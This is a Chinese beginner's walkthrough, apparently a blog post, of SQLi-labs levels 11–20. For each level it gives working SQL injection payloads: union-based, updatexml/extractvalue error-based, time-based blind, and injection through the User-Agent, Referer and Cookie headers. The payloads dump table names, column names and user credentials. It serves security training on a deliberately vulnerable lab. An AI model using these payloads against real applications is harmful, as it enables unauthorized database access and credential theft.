SQLi-labs靶场(11-20)过关超详细0基础

第十一关

发现页面存在登录界面

尝试输入1时弹出图片

输入1'时出现报错信息,以此推断sql语句

尝试输入1' or 1=1,这里用不了--+,使用#

1' or 1=1#   

得出以下结果,接下来就和第一关一样需要使用联合查询union select

1' order by 3#   

得出只有两个字段;

1' union select 1,2#   

得到显错位

1' union select 1,database()#    

得到数据库名security

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=’security’#

爆出表名users

1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#

爆出列名username,password

1' union select 1,group_concat(username,password) from users#

爆出账号密码  

过关

第十二关

输入 1 , 1' 都没反应

尝试1" 得到报错信息,确定sql语句有双引号和括号

1") or 1=1#  

判断是否存在注入

1") order by 3#  

之后与11关一样

1") union select 1,2# 

  确定显错位

1") union select 1,database()# 

确定数据库名为security

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

爆出表名users

1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

爆出列名username和password

1") union select 1,group_concat(username,'/',password) from users#

爆出账号密码信息

过关

第十三关

输入1' 判断sql语句有单引号和括号

输入

1') or 1=1#

1')order by 2#

发现都没反返回信息,输入

1')order by 3#

发现存在报错信息,这里我们选择使用报错注入,可以查看我第在第5关标注的知识点

1') and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#   

通过报错得到数据库名security

1') and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)#

因为报错信息有上限,所以需要使用limit一个个爆

最终确定第三个表为users

1') and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users'limit 12,1),0x7e),1)#

依次爆出users表中的列,得到username和password

1') and updatexml(1,concat(0x7e,(SELECT username from users limit 0,1),0x7e),1)#

依次爆出所有的账号密码

过关

第十四关

与13关类似,就是换成双引号,可使用报错注入或布尔盲注,这里使用报错注入

1"  爆出语句 判断sql语句存在双引号

1" and updatexml(1,concat(0x7e,database(),0x7e),1)#

爆出数据库名

1" and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)#

依次爆出所有的表名,找到users

1" and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1)#

依次爆出所有的列名,找到password和username

1" and updatexml(1,concat(0x7e,(SELECT username from users limit 0,1),0x7e),1)#

依次爆出所有的username和password

过关

第十五关

经过各种尝试发现,无回显信息

所以使用时间盲注

这里发现用户名信息有被筛选,使用admin才能进行注入

可能跟数据库有关,有没有大神能告诉我什么原因

admin'and sleep(3)#  

判断为单引号闭合

admin'and if(length(database())>=8,sleep(3),1)#

#得出数据库名长度为8

admin'and if(ascii(substr(database(),1,1))=115,sleep(3),0)#

#得出数据库名第一位是s

admin'and if(ascii(substr(database(),2,1))=101,sleep(3),0)#

#数据库名第二位是e

#依次推出数据库名为security

admin'and if(length(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1),1))=6,sleep(3),0)#

#得出数据库第一个表名长度为6

admin'and if(ascii(substr((select table_name from information_schema.tables where table_schema='security'limit 3,1),1,1))=117,sleep(3),0)#

#得出该表第一个字符是u,推断是users

admin'and if(length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1))=7,sleep(3),0)#

#得出users表第一个列有7个字符

admin'and if(ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=117,sleep(3),0)#

#得出users表第一列第一个字符是u

admin'and if(ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),2,1))=115,sleep(3),0)#

#第二个字符是s

#逐步推出所有的列名

admin'and if(length(substr((select username from users limit 0,1),1))=4,sleep(3),0)#

#得出username这列第一个字段有4个字符

admin'and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(3),0)#

#得出username这列第一个字段第一个字符是D

逐步推出所有的账号密码信息,过关

第十六关

经过尝试发现,与15关一样不存在回显信息

应当同样使用时间盲注

多方尝试确定为  ”)  闭合

admin")and (sleep(3))#

确定时间盲注可行,接下来与15关一样

  1. 确定数据库名长度
if(length(substr((xxxxxxlimit 0,1),1))=6,sleep(3),0)#
  1. 确定数据库全部字符
if(ascii((substr(xxxxxlimit 0,1),1,1))=100,sleep(3),1)#
  1. 确定数据库中表的长度
  2. 确定数据库中表的全部字符
  3. 确定表中列的长度
  4. 确定表中列的全部字符
  5. 确定字段的长度
  6. 得出所有字段内容
admin")and if(length(substr((select database()limit 0,1),1))>1,sleep(3),1)#

#得出数据库名长度

admin")and if(ascii(substr((select database()limit 0,1),1,1))=115,sleep(3),1)#

#得出数据库名第一位是s

#…依次得出数据库名是security

admin")and if(length(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1),1))=6,sleep(3),1)#

#得出数据库第一个表名有6个字符

admin")and if(ascii(substr((select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))=101,sleep(3),1)#

#得出第一个表第一个字符是e

#逐步推出所有的字符,找到第四个表users

admin")and if(length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1))=7,sleep(3),1)#

#得出users表的第一列名有7个字符

admin")and if(ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=117,sleep(3),1)#

#得出users表第一列的列名第一个字符是u

#依次得出所有的列名,找到了username 和password

admin")and if(length(substr((select username from users limit 0,1),1))=4,sleep(3),1)#

#得出username的第一个字段第有4个字符

admin")and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(3),1)#

#得出username的第一个字段的第一个字符是D

逐步推出所有的账号密码信息

过关

第十七关

经过各种尝试推断在username的输入处应该是存在过滤,无法使用SQL语句,而且只有在admin时才能在password处注入(求解大神)

Passwd处输入

1'and updatexml(1,concat(0x7e,database(),0x7e),1)#

通过报错信息得到数据库名为security

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)#

因为报错信息有上限用,limit一个个爆出所有表名

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 3,1),0x7e),1)#

找到user表

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1)#

依次爆出users表的所有列名,发现存在username和password

1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#

此时我遇到报出

You can't specify target table 'users' for update in FROM clause  报错信息,对于小白真是百思不得其解

最终搜到需要再套一层循环,对自循环的结果起名。这样去规避对同一个表select后的更新,相当于是说,将子查询构成一个表,父查询再去查询这个新表。

1' and extractvalue(1,concat(0x7e,(select username from (select username from users limit 0,1)abc),0x7e))#

即可爆出users表中username中的内容

依次推出所有的账号密码信息

过关

第十八关

进来看到标注了自己的ip地址

尝试在账号密码处输入均被过滤,无法实现常规注入

因为有ip信息,猜测要进行传递信息

关键语句:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们的User-Agent会传递到$uagent

所以进行抓包,在User_Agent进行注入

这里需要输入正确的账号密码才能注入

这里需要考虑闭合VALUES所以这里输入的格式应该是

1’,1,1#

1',1,updatexml(1,concat(0x7e,database(),0x7e),1))#

爆出数据库名称

1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

爆出所有的表格名称

1',1,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1))#

用limit依次爆出users表中所有的列名,得到password和username

1',1,updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))#

依次爆出username和password中的所有字段

过关

第十九关

输入正确的账号密码,会回显Referer信息

推测这里需要抓包在Referer注入

',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

成功爆出security数据库名

',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

爆出数据库下所有的表名

',updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 12,1),0x7e),1))#

依次爆出users表下的所有列名,找到username和password

',updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))#

依次获取username和password下的所有字段

过关

第二十关

与前两关类似,账号密码不存在注入,输入正确的账号密码,会显示以下信息

察觉到关键信息应该是COOKIE   猜测存在cookie注入

在登陆成功的界面进行抓包重放

Cookie: uname=admin'  

确定为单引号闭合

Cookie: uname=admin'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

爆出数据库名称

Cookie: uname=admin'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

得出数据库下所有的表格名

Cookie: uname=admin'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1),0x7e),1)#

依次得到user下的列名,发现存在username

和password

Cookie: uname=admin'and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)#

依次得到所有的账号密码信息

过关

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值